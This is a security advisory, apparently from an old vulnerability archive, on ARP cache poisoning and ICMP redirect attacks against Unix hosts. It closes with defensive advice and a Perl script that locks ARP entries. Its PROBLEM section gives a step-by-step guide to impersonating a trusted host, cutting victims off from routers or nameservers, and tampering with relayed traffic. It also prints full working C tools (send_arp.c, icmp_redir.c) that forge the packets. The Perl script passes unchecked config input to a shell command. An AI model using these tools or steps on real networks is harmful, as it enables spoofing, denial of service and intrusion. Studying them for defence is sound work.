COMMAND

    ARP & ICMP

SYSTEMS AFFECTED

    Most unices

PROBLEM

    Following text i based on Yuri Volobuev post about 'Playing  redir
    games with ARP and ICMP'.

    [ -Intro- ]

    There're  bugs  and   there're  features.    All  too  often   the
    distinction between the two  is in the eye  of the beholder.   I'd
    like to  show how  two legitimate  protocols, ARP  and ICMP, while
    properly implemented, can be  used to achieve something  which is,
    well, not desirable.

    While passive attacks (sniffing)  that take advantage of  the root
    access  to  LAN  are  extremely  popular and every half-way decent
    root kit has some  kind of a net  sniffer, active attacks are  not
    nearly as widespread.   Yet, active participation  in the life  of
    your LAN may bring  lots of fun and  joy.  You knew  that already,
    it's just that technical details  had been somewhat obscure.   So,
    let there be more light.

    Possibilities  outlined  here  include  spoofing  and  DoS.  While
    other  means  of  spoofing,  such  as  IP blind spoofing, are more
    general and powerful, in terms  of who can use them,  they require
    quite a  lot of  (guess)work and  may be  hard to  implement.  ARP
    spoofing, on contrary, is very easy and robust.

    While ARP spoofing is only possible on a local network, it may  be
    a serious concern as a way to extend an already existing  security
    breach.  If somebody can break  into one machine on a subnet,  ARP
    spoofing can be used to compromise the rest of it.

    [ -Background on ARP- ]

    [originally Yuri wrote few  paragraphs outlining arp, but  then he
    figured that if you didn't know how it works already, you'll  need
    to  learn  it  from  a  better  source.  It is recommended "TCP/IP
    Illustrated" by W.Richard Stevens.]

    [ -What can be done- ]

    Let's consider a hypothetical network

    IP          10.0.0.1   10.0.0.2  10.0.0.3  10.0.0.4
    hostname       cat        rat       dog       bat
    hw addr       AA:AA      BB:BB     CC:CC     DD:DD    (for short)

    all connected by  Ethernet in some  simple way (i.e.  no switches,
    no smart hubs).  You're on cat, you have root and desire to  break
    into  dog.   You  know  that  dog  trusts  rat,  so  if  you   can
    successfully spoof rat, something can be gained.

    First thing that comes to mind  about this at some point) is  "why
    don't I set  my IP to  the IP of  that other machine  and..." That
    won't  work,  at  least  it  won't  work  reliably.   If  you tell
    Ethernet  driver  on  cat  that  it's  IP is 10.0.0.2, it'll start
    answering ARP requests to that IP.  But so will rat.  It's a  pure
    race condition, and  there's no winner.   However, you can  easily
    be  the  loser,  because  this  particular situation happens quite
    often when some box is misconfigured to use somebody's else's  IP,
    so  many  implmentations  immedeately   notice  that  and   loudly
    complain.  Many network traffic analyzers flag that, too.   Seeing
    a  syslog  message  saying   something  nasty  (mentioning   cat's
    Ethernet address)  on the  LAN admin's  console is  not quite what
    you want.  And  what you want you  won't necessarily get, that  is
    getting anything remotely close to a working connection.

    This of course can be  helped.  The attached program,  send_arp.c,
    can be  a useful  tool.   Just as  its name  says, it sends an ARP
    packet [ARP reply, to be  exact: since the protocol is  stateless,
    reply will be happily accepted even  if no one ever asked for  it.
    Request would do just as well, though, because of the ARP  caching
    logic] to the  net, and you  can make this  packet to be  what you
    want.  What you  want is an ability  to specify source and  target
    IP and hardware addresses.

    First, you don't want your  Ethernet driver to talk too  much, and
    it's easy  to accomplish  with ifconfig  -arp.   Of course,  it'll
    need ARP  info anyway,  so you'll  have to  feed it  to the kernel
    manually  with  arp(8).   The  critical  part  is  convincing your
    neighbours.   In the  case being  described here,  you want dog to
    believe that  rat's hardware  address is  that of  cat (AA:AA), so
    you send  ARP reply  with source  IP 10.0.0.2,  source hw  address
    AA:AA,  target  IP  address  10.0.0.3  and target hardware address
    CC:CC.   Now, for  all dog  knows, rat  is at  AA:AA.  Cache entry
    would expire, of course, so it needs to be updated (request  needs
    to be resent).   How often depends  on the particular  system, but
    every 40 sec or so should  be sufficient for most cases.   Send it
    more often if you want, it won't hurt.

    A complication here could come from an ARP caching  implementation
    feature.   Some systems  (e.g. Linux)  would try  to update  their
    cache  entries  by  sending  a  unicast  ARP request to the cached
    address  (like  your  wife  calling  you  just to make sure you're
    there).   Such a  request can  screw things  up, because  it could
    change  victim's  ARP  entry  that  we  just  faked, so it must be
    prevented.  This can be accomplished by feeding the "wife"  system
    with replies so that  it never has to  ask for it.   Prevention is
    the best cure, as  always.  This time,  a real packet from  dog to
    rat should be  sent, it's just  that cat will  be sending it,  not
    dog, but for rat  there's no way to  tell.  Again, doing  it about
    every 40 sec is usually OK.

    So the  procedure is  simple.   Bring up  an alias interface, e.g.
    eth0:1 (or use your current one, whatever), with rat's IP and  ARP
    on -- you need  to set up some  cache entries first, and  it won't
    work on  non-arp interface.   Set up  a host  route entry  for dog
    through the right interface.  Set  up a cache entry for dog,  turn
    off arp, and it's all set.

    Now, inject  the venom  with send_arp  (hitting both  dog and rat)
    and for  all dog  knows, you're  on rat.   Just remember  to  keep
    sending those ARP packets to dog and rat.

    This  attack  only  works  on  the  local  network,  of course (in
    general, it can reach as far  as ARP packets can get, usually  not
    too far  because ARP  packets are  almost never  routed).   But an
    interesting extension  here is  taking this  outside by  replacing
    dog's hardware address  in the above  plan with the  router's.  If
    it  works   (I'm  not   sure   it   always  will,   router's   ARP
    implementation may be tougher to  fool, and since I don't  want to
    try  it  on  real  routers,  I  don't  know, but there's no simple
    reason why  not) you  can easily  impersonate any  machine on  the
    local network to  the rest of  the world.   So the target  machine
    could really  be anywhere,  but the  machine you're  impersonating
    must be on the same LAN.

    [ -What else can be done- ]

    Aside from  spoofing, there's  range of  other things  you can  do
    with ARP.   The sky  is really  the limit  here.   DoS is the most
    obvious application.

    Feeding victim wrong  hardware address is  a powerful way  to make
    it  mute.   You  can  prevent  it  from  talking to any particular
    machine (and ARP cache size  usually allows for the whole  network
    to  fit  in,  so  effectively  you  can  stop  it  from talking to
    everybody for  some time).   Obvious target  would be  the router.
    Cache poisoning again  should be two-way:  both the victim  system
    and the system  you don't want  victim to talk  to should be  fed.
    The simplest case would be  feeding a non-existant address.   It's
    not  the  most  efficient,  though,  as  the  system  will quickly
    realize that it's talking to  nobody and send out an  ARP request.
    Of course,  your next  drop of  poison will  nullify this, but you
    have to  do it  quite often.   A more  efficient approach  here is
    feeding  the  victim  with  the  hardware  address  of  the  wrong
    machine, which itself is alive and  well.  Again, it depends on  a
    particular situation, but very  often what happens is  that victim
    keeps sending  out packets  of various  types that  arrive to  the
    wrong destination, and destination system will promptly send  ICMP
    Xxx  Unreachable  messages  back,  thus  emulating a connection in
    some perverted  way.   This pseudo-conection  can easily  postpone
    cache expiry.   On Linux,  for example,  pseudo-connection  raises
    cache expiry  from usual  1 min  to about  10 min.   By that time,
    most  or  all  TCP  connections  are  screw  up.   Could  be quite
    annoying.  This way, one ARP packet can screw someone.

    An interesting  twist here  is so-called  "gratuitous ARP".   It's
    when the source and  target IPs in the  ARP request are the  same,
    and it usually appears in a  form of an Ethernet broadcast.   Some
    implementations recognize it as a  special case, that of a  system
    sending out  updated information  about itself  to everybody,  and
    cache  that  request.   This  way  one  packet  could screw up the
    entire network.  It must be admitted, though, that gratuitous  ARP
    is not really defined  as a part of  ARP, so it's up  to vendor to
    (not) implement it, and it's becoming increasingly less popular.

    ARP  is  a  serious  tool  for  professional practical jokes, too.
    Just imagine somebody setting up a relay, or tunnel, in a form  of
    own machine that  convinced two neighbours  to send their  packets
    intended  for  each  other  to  relay's  Ethernet.   If relay just
    forwards packets  to their  real destinations,  no one  would even
    notice.   However,  some  simple  data  stream modifications could
    have  quite  a  spectacular  effect  on  one's  mental  health.  A
    simple,  CPU-inexpensive  "filter"  could  be  swapping random two
    bytes at irregular long intervals.   If it hits the data  portion,
    most of the checksums won't  change, i.e.  data stream  would seem
    to be intact,  yet strange and  unexplicable things _will_  happen
    for no apparent reason.

    [ -ICMP redirects- ]

    An effect somewhat similar to ARP cache poisoning can be  achieved
    in a  different way,  again using  a legitimate  protocol feature,
    ICMP route  redirects.   Such a  redirect is  normally sent by the
    default router to  the system to  indicate that there's  a shorter
    route to  some particular  destination.   Originally, both network
    and host route  redirects were proposed,  but later net  redirects
    were deprecated  and now  are usually  treated as  host redirects.
    Properly constructed  ICMP packet  that passes  all sanity  checks
    (it must  come from  the default  router for  the destination it's
    redirecting,  new  router  should  be  on  a  directly   connected
    network,  etc.)  it  causes  a  host-route  entry  be added to the
    system routing table.

    The concept is just as secure as ICMP itself, i.e. (security)NULL.
    Spoofing routers IP address  is simple, and attached  icmp_redir.c
    does just  that.   Host Requirements  RFC states  that system MUST
    follow ICMP redirects  unless it's a  router.  And  indeed all the
    systems tested  happily accept  it (except  vanilla Linux  2.0.30,
    where it's broken,  it works in  2.0.29 and 2.0.31pre9,  according
    to Alan Cox).

    ICMP redirects  present a  rather potent  DoS.   Unlike ARP  cache
    entries, those host routes won't expire with time.  And of  course
    no access  to local  network is  required, attack  can be launched
    from  anywhere.   So  if  the  target  system  does  accept   ICMP
    redirects (and packets can actually  reach it) that system can  be
    stopped from talking to any  particular address on the net  (well,
    not  all,  but  those  that  aren't  on  the  same subnet with the
    target).  Nameservers would be an obvious target.

    /* send_arp.c

    This program sends  out one ARP  packet with source/target  IP and
    Ethernet hardware  addresses suuplied  by the  user.   It compiles
    and works on  Linux and will  probably work on  any Unix that  has
    SOCK_PACKET.

    The idea  behind this  program is  a proof  of a  concept, nothing
    more.  It comes  as is, no warranty.   However, you're allowed  to
    use  it   under  one   condition:   you   must  use   your   brain
    simultaneously.  If  this condition is  not met, you  shall forget
    about this program and go RTFM immediately.

    yuri volobuev'97
    volobuev@t1.chem.umn.edu
    */

    #include <stdio.h>
    #include <ctype.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <linux/in.h>
    #include <arpa/inet.h>
    #include <linux/if_ether.h>


    #define ETH_HW_ADDR_LEN 6
    #define IP_ADDR_LEN 4
    #define ARP_FRAME_TYPE 0x0806
    #define ETHER_HW_TYPE 1
    #define IP_PROTO_TYPE 0x0800
    #define OP_ARP_REQUEST 2

    #define DEFAULT_DEVICE "eth0"

    char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
    \tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};

    struct arp_packet {
	    u_char targ_hw_addr[ETH_HW_ADDR_LEN];
	    u_char src_hw_addr[ETH_HW_ADDR_LEN];
	    u_short frame_type;
	    u_short hw_type;
	    u_short prot_type;
	    u_char hw_addr_size;
	    u_char prot_addr_size;
	    u_short op;
	    u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
	    u_char sndr_ip_addr[IP_ADDR_LEN];
	    u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
	    u_char rcpt_ip_addr[IP_ADDR_LEN];
	    u_char padding[18];
    };

    void die(char *);
    void get_ip_addr(struct in_addr*,char*);
    void get_hw_addr(char*,char*);

    int main(int argc,char** argv){

    struct in_addr src_in_addr,targ_in_addr;
    struct arp_packet pkt;
    struct sockaddr sa;
    int sock;

    if(argc != 5)die(usage);

    sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
    if(sock<0){
	    perror("socket");
	    exit(1);
	    }

    pkt.frame_type = htons(ARP_FRAME_TYPE);
    pkt.hw_type = htons(ETHER_HW_TYPE);
    pkt.prot_type = htons(IP_PROTO_TYPE);
    pkt.hw_addr_size = ETH_HW_ADDR_LEN;
    pkt.prot_addr_size = IP_ADDR_LEN;
    pkt.op=htons(OP_ARP_REQUEST);

    get_hw_addr(pkt.targ_hw_addr,argv[4]);
    get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
    get_hw_addr(pkt.src_hw_addr,argv[2]);
    get_hw_addr(pkt.sndr_hw_addr,argv[2]);

    get_ip_addr(&src_in_addr,argv[1]);
    get_ip_addr(&targ_in_addr,argv[3]);

    memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
    memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

    bzero(pkt.padding,18);

    strcpy(sa.sa_data,DEFAULT_DEVICE);
    if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
	    perror("sendto");
	    exit(1);
	    }
    exit(0);
    }

    void die(char* str){
    fprintf(stderr,"%s\n",str);
    exit(1);
    }

    void get_ip_addr(struct in_addr* in_addr,char* str){

    struct hostent *hostp;

    in_addr->s_addr=inet_addr(str);
    if(in_addr->s_addr == -1){
	    if( (hostp = gethostbyname(str)))
		    bcopy(hostp->h_addr,in_addr,hostp->h_length);
	    else {
		    fprintf(stderr,"send_arp: unknown host %s\n",str);
		    exit(1);
		    }
	    }
    }

    void get_hw_addr(char* buf,char* str){

    int i;
    char c,val;

    for(i=0;i<ETH_HW_ADDR_LEN;i++){
	    if( !(c = tolower(*str++))) die("Invalid hardware address");
	    if(isdigit(c)) val = c-'0';
	    else if(c >= 'a' && c <= 'f') val = c-'a'+10;
	    else die("Invalid hardware address");

	    *buf = val << 4;
	    if( !(c = tolower(*str++))) die("Invalid hardware address");
	    if(isdigit(c)) val = c-'0';
	    else if(c >= 'a' && c <= 'f') val = c-'a'+10;
	    else die("Invalid hardware address");

	    *buf++ |= val;

	    if(*str == ':')str++;
	    }
    }

    ---
    and
    ---

    /* icmp_redir.c

    This program sends out an  ICMP host redirect packet with  gateway
    IP supplied by user.  It was written and tested under Linux 2.0.30
    and could be rather easily modified to work on most Unices.

    The idea  behind this  program is  a proof  of a  concept, nothing
    more.  It comes  as is, no warranty.   However, you're allowed  to
    use  it   under  one   condition:   you   must  use   your   brain
    simultaneously.  If  this condition is  not met, you  shall forget
    about this program and go RTFM immediately.

    yuri volobuev'97
    volobuev@t1.chem.umn.edu

    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <syslog.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netinet/ip_icmp.h>
    #include <netinet/ip.h>

    #define IPVERSION       4

    struct raw_pkt {
	    struct iphdr ip; /* This is Linux-style iphdr.
				Use BSD-style struct ip if you want */
	    struct icmphdr icmp;
	    struct iphdr encl_iphdr;
	    char encl_ip_data[8];
    };

    struct raw_pkt* pkt;

    void die(char *);
    unsigned long int get_ip_addr(char*);
    unsigned short checksum(unsigned short*,char);

    int main(int argc,char** argv){

    struct sockaddr_in sa;
    int sock,packet_len;
    char usage[]={"icmp_redir: send out custom ICMP host redirect packet.  \
    yuri volobuev'97\n\
    usage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
    char on = 1;

    if(argc != 5)die(usage);

    if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
	    perror("socket");
	    exit(1);
	    }

    sa.sin_addr.s_addr = get_ip_addr(argv[2]);
    sa.sin_family = AF_INET;

    packet_len = sizeof(struct raw_pkt);
    pkt = calloc((size_t)1,(size_t)packet_len);

    pkt->ip.version = IPVERSION;
    pkt->ip.ihl = sizeof(struct iphdr) >> 2;
    pkt->ip.tos = 0;
    pkt->ip.tot_len = htons(packet_len);
    pkt->ip.id = htons(getpid() & 0xFFFF);
    pkt->ip.frag_off = 0;
    pkt->ip.ttl = 0x40;
    pkt->ip.protocol = IPPROTO_ICMP;
    pkt->ip.check = 0;
    pkt->ip.saddr = get_ip_addr(argv[1]);
    pkt->ip.daddr = sa.sin_addr.s_addr;
    pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

    pkt->icmp.type = ICMP_REDIRECT;
    pkt->icmp.code = ICMP_REDIR_HOST;
    pkt->icmp.checksum = 0;
    pkt->icmp.un.gateway = get_ip_addr(argv[4]);

    memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
    pkt->encl_iphdr.protocol = IPPROTO_IP;
    pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
    pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
    pkt->encl_iphdr.check = 0;
    pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
	    sizeof(struct iphdr));

    pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
	    sizeof(struct raw_pkt)-sizeof(struct iphdr));

    if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
	    perror("setsockopt: IP_HDRINCL");
	    exit(1);
	    }

    if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
	    perror("sendto");
	    exit(1);
	    }
    exit(0);
    }

    void die(char* str){
    fprintf(stderr,"%s\n",str);
    exit(1);
    }

    unsigned long int get_ip_addr(char* str){

    struct hostent *hostp;
    unsigned long int addr;

    if( (addr = inet_addr(str)) == -1){
	    if( (hostp = gethostbyname(str)))
		    return *(unsigned long int*)(hostp->h_addr);
	    else {
		    fprintf(stderr,"unknown host %s\n",str);
		    exit(1);
		    }
	    }
    return addr;
    }

    unsigned short checksum(unsigned short* addr,char len){
    register long sum = 0;

    while(len > 1){
	    sum += *addr++;
	    len -= 2;
	    }
    if(len > 0) sum += *addr;
    while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

    return ~sum;
    }

SOLUTION

    ARP  is  low  level  protocol  and  as such is usually hidden from
    normal people.  LAN admins may be concerned with it at times,  but
    if all goes well  no one pays attention.   One can always  inspect
    contents of  ARP cache  using arp(8),  especially if  there's some
    misterious network  problem, but  again it's  not the  first thing
    that comes  to mind.   Even W95  has arp  command, and remembering
    about  it  may  be  helpful  in  certain  situations.  However, if
    you're the target of  the attack originating from  another network
    via gateway  arp spoofing,  there's no  way to  tell.   Similarly,
    host  routing  table  could  be  examined  to  spot ICMP-generated
    entries  (in  most  versions  of  route(1)  they are marked with D
    letter in flags field).  Just be aware.

    The above ARP attack scheme  work perfectly for plain old  10Base2
    Ethernet.  However,  if machines are  interconnected in some  more
    advanced  way,  particularly  using  some  smart hubs or switches,
    attack  can  be  more  visible  or  even impossible (same goes for
    passive attacks).   So there's yet  another reason to  invest in a
    good piece of  network equipment.   A good deal  of peace of  mind
    may just come with it.

    In general, however,  you may personally  find it rather  sad that
    things  like  ICMP  redirects  were  made  a default.  First, it's
    often  not  necessary  because  many  networks  have  very  simple
    structure and  there's never  a need  for anything  in addition to
    usual  routing  table.   Second,  on  more  sophisticated networks
    routing table can  be just as  well set manually,  it's not really
    such a dynamic thing,  so why do it  via ICMP?  And  finally, it's
    dangerous, so you might like  to disable it on your  systems, even
    though it'll make them less compliant with RFC1122.  Alas, it  may
    not be easy.  On Linux or any other OS with sources available, you
    can at least hack the kernel and #define it out.  On Irix 6.2  and
    possibly  other  versions  one  can  set icmp_dropredirects=1 with
    systune.  Other OSes can be configurable, too, no information.

    And  old  wisdom  still  shine  bright  though  time:  don't   use
    hostname-only based auth.  Those  who do shall have no  mercy from
    net gods.

    There  are  many  people  use  "i  have  firewall,  and I like it,
    therefore  everyone  else  should  get  one  or get lost" logic to
    argue  that  certain  security  problems  are less serious because
    they can be effectively  eliminated by putting a  firewall between
    the protected  network and  Internet.   While we  can fully  agree
    that  having  firewall  is  very  good  for  security,  Yuri notes
    that it's not always possible or effective.

    Imagine an environment where  all machines are directly  connected
    to Internet, you have to  share subnet with people you  don't know
    who  have  vanilla  SGI  boxes  screaming  "hack  me pleeeease, my
    vendor did such a great job  of making it eeeeeeasy" all over  the
    place  (and  sure,  these  people  know  Unix,  they've seen it in
    Jurassic Park... and  that would be  about it), and  the router to
    your subnet is controlled by a separate organization.  Welcome  to
    a standard academic environment, where people don't use firewalls.
    In fact,  in some  of those  environments one  would be  useful to
    protect the outside world from  the people on the inside.   Still,
    people  work  there,  and  use  computers,  too.  And that's where
    per-host security  solutions are  necessary, it's  a jungle  where
    every  host  is  for  itself.   So  please,  next  time  you think
    "firewall", remember, it's not for everyone.

    John Goerzen wrote a short Perl script designed to be run from the
    system startup  file.   Basically, it  "primes" the  ARP cache  on
    Linux with the IP and  MAC addresses of known machines,  setting a
    flag so that they are never  removed from the cache and can  never
    be  changed.   The  config  file  format  is  simple -- IP address
    followed by MAC  address, separated by  whitespace.  Pound  at the
    beginning of a line indicates comment.

    This has only  been tested on  Linux -- people  on other platforms
    may need to adjust the parameters to arp in the system call.

    Note: you  want to  make sure  that it  is run  after your network
    interface is  brought up  but before  any servers  or clients  are
    started; otherwise, somebody may be able to sneak in a  connection
    before the ARP tables are "locked".  Here's the script:

    #!/usr/bin/perl
    # by John Goerzen <jgoerzen@cs.twsu.edu>
    # Program: forcehwaddr
    # Program to run ARP to force certain tables.

    # Specify filenames to read from on command line, or read from stdin.

    foreach (<>) {                  # For each input line....
      chomp;                        # Strip if CR/LF
      if (/^#/) { next; }           # If it's a comment, skip it.
      if (((($host, $hw) = /\s*(.+?)\s+(\S+)\s*/) == 2) &&
	  !(/^#/)) {
	 # The text between the slashes parses the input line as follows:
	 # Ignore leading whitespace.  (\s*)
	 # Then, start matching and put it into $host ($host, (.+?))
	 # Skip over the whitespace after that (\s+)
	 # Start matching.  Continue matching until end of line or optional
	 # trailing whitespace.

	 # Then, the if checks to see that both a
	 # host and a hardware address were matched.
	 # (2 matches).  If not, we skip the
	 # line (assuming it is blank or invalid or something).
	 # The second part of the if checks to see if the line starts with
	 # a pound sign; if so, ignore it (as a comment).

	 # Otherwise, run the appropriate command:
	printf("Setting IP %-15s to hardware address %s\n", $host, $hw);
	system "/usr/sbin/arp -s $host $hw\n";
      }
    }